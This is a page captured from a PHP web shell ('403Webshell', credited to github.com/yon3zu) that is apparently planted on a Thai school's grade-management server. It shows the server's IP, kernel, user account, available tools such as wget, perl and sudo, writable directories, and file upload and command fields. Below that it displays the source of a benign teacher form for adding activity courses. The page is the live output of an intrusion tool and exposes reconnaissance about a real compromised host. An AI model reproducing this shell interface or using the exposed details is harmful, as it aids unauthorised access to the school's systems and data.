403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/sent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa/sent/addactiv.php
<?
require_once "../config/confiteacher.inc.php";
require_once "../config/connectdb.php";
?>
<?
require_once "../head.php";
?>

<html>
<head>
<title>-:- ADMIN -:-</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#FFFFFF">

<table width="75%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td bgcolor="#003399">
<div align="center"><font color="#FFFFFF" size="+1"><strong>ระบบเพิ่มวิชากิจกรรม<font color="#FFFF00"></font></strong></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
        <tr> 
          <td><div align="right"><font color="#ff0000" size="2"><font color="#333333">ยินดีต้อนรับ 
              :</font> <font color="#ff0000"> <?=$objResult["teachcode"];?> <?=$objResult["name"];?> <?=$objResult["lastname"];?>
              <font color="#666666">เข้าสู่ระบบค่ะ </font></font></font></div></td>
        </tr>
        <tr> 
          <td><div align="right"><font color="#666666" size="2"><a href="../main.php">หน้าหลักระบบ</a> 
              | <a href="logout.php">ออกจากระบบ</a></font></div></td>
        </tr>
        <tr> 
          <td><div align="center">
              <table width="773" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr> 
                  
                </tr>
              </table>
              <table width="76%" border="0" align="center" cellpadding="1" cellspacing="1">
                <tr> 
                  <td>&nbsp;</td>
                </tr>
                <tr>
                  <td><div align="center"> 


					<script type="text/javascript">
	function checkNationalID(webForm) {
		if(webForm.length != 13) return false;
 
		for(i=0, sum=0; i < 12; i++) sum +=parseFloat(webForm.pin(i))*(13-i);
 
		if((11-sum%11)%10!=parseFloat(webForm.pin(12))) return false;
 
		return true;
	}
</script>
			
					
					
					
					
					</div>



                   <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                      <form method="post" action="addsaveaccode.php"  name="checkForm" onSubmit="return check()">
                        <tr> 
                          <td width="100%"><div align="right"><font color="#333333" size="2">รายวิชากิจกรรม
                              :</font></div></td>
                          <td width="355"><font size="3"> 
                            <input name=nameactive id=nameactive type=text class="input" size=50  >
                            </font></td>
                        </tr>
				<tr> 
                          <td width="100%"><div align="right"><font color="#333333" size="2">ประเภทกิจกรรม
                              :</font></div></td>
                          <td><font size="3">
                            
							<select name="tpyacti">
<option value="">วัน</option>
<option value="1">อังคาร</option>
<option value="2">พุธ</option>
</select>


                            
							
							</font></td>
                        </tr>
						<tr> 


                          <td width="100%"><div align="right"><font color="#333333" size="2">ชั้นที่เปิดรับ
                              :</font></div></td>
                          <td><font size="3">


<select name="classchactive">
<option value="">เลือกระดับชั้น</option>
<option value="3">ม.ต้น</option>
<option value="4">ม.ปลาย</option>
<option value="0">ทุกระดับชั้น</option>
</select>
                            
                            
							</font></td>
                        </tr>


						<tr> 
                          <td width="100%"><div align="right"><font color="#333333" size="2">กลุ่ม/กอง
                              :</font></div></td>
                          <td><font size="3">
                            
							<select name="kgroup">
<option value="">เลือกกลุ่ม</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>


                            
							
							</font></td>
                        </tr>
						<tr> 
						<tr> 
                          <td width="100%"><div align="right"><font color="#333333" size="2">จำนวนที่รับ
                              :</font></div></td>
                          <td width="355"><font size="3"> 
                            <input name=totalactive id=totalactive type=text class="input">
                            </font></td>
                        </tr>
						<tr> 
                          <td width="100%"><div align="right"><font color="#333333" size="2">ห้องเรียน
                              :</font></div></td>
                          <td width="355"><font size="3"> 
                            <input name=roomactive id=roomactive type=text class="input">
                            </font></td>
                        </tr>
						 
						<tr> 
                          <td width="100%"><div align="right"><font color="#333333" size="2">รหัสครู : teach ID
                              :</font></div></td>
                          <td width="355"><font size="3"> 
                            <input name=idteachactive id=idteachactive type=text class="input" readonly='readonly' size=3 value="<?=$objResult["teachcode"];?>" >
                            </font></td>
                        </tr>
						
						
                        <tr>
                          <td>&nbsp;<font color='red' size='3'></font></td>
                          <td><input name=submit type=submit class=submit value=เพิ่มข้อมูล > 
                            <input name=submit2 type=reset class=submit value=ยกเลิกข้อมูล ></td>
                        </tr>



						<script language="javascript">

function check() {
if(document.checkForm.nameactive.value=="") {
alert("ชื่อกิจกรรม") ;
document.checkForm.nameactive.focus() ;
return false ;
}
else if(document.checkForm.tpyacti.value=="") {
alert("กรุณาเลือกวัน") ;
document.checkForm.tpyacti.focus() ;
return false ;
}
else if(document.checkForm.classchactive.value=="") {
alert("เลือกชั้น") ;
document.checkForm.classchactive.focus() ;
return false ;
}
else if(document.checkForm.kgroup.value=="") {
alert("เลือกกลุ่ม") ;
document.checkForm.kgroup.focus() ;
return false ;
}
else 
return true ;
}

</script>
                      </form>
                    </table></td>
                </tr>
              </table>
            </div></td>
        </tr>
        <tr>
          <td>&nbsp;</td>
        </tr>
      </table></td>
  </tr>
  <tr>
    <td><div align="center"><? echo "<font size=2 color=#ffffff>$footerweb</font>"; ?></div></td>
  </tr>
</table>
<?
require_once "home1ac.php";
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit